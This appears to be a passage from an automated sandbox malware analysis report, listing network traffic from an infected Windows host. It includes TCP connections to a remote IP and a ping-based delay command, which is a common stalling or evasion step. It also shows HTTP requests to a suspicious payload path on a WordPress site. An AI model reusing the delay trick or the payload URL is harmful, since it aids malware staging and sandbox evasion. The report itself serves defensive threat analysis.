Source: global traffic	TCP traffic: 192.168.2.22:49193 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49194 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49193 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49195 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49196 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49196 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49196 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49198 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49198 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49199 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49200 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49199 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49199 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49200 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49199 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49199 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49200 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49200 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49199 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49199 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49200 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49200 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49203 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49203 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49203 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49203 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49203 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49203 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49203 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49203 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49203 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49204 -> 187.45.240.69:80

Networking

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1

Source: Joe Sandbox View

ASN Name: LocawebServicosdeInternetSABR LocawebServicosdeInternetSABR

Source: Joe Sandbox View

JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207

Source: global traffic	HTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: translate.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-includes/certificates/4.txt HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: netdna.bootstrapcdn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/bootstrap/css/bootstrap.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/style.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: translate.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/bootstrap/css/responsive.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/css/camera.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1.24 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/wp-emoji-release.min.js?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.default.min.css?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel.min.css?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.css?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/main-style.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.css?ver=1.5.8 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.js?ver=1.2.8.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/style.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/swfobject.js?ver=2.2-20120417 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/custom.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/gtranslate/flags/16/pt-br.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
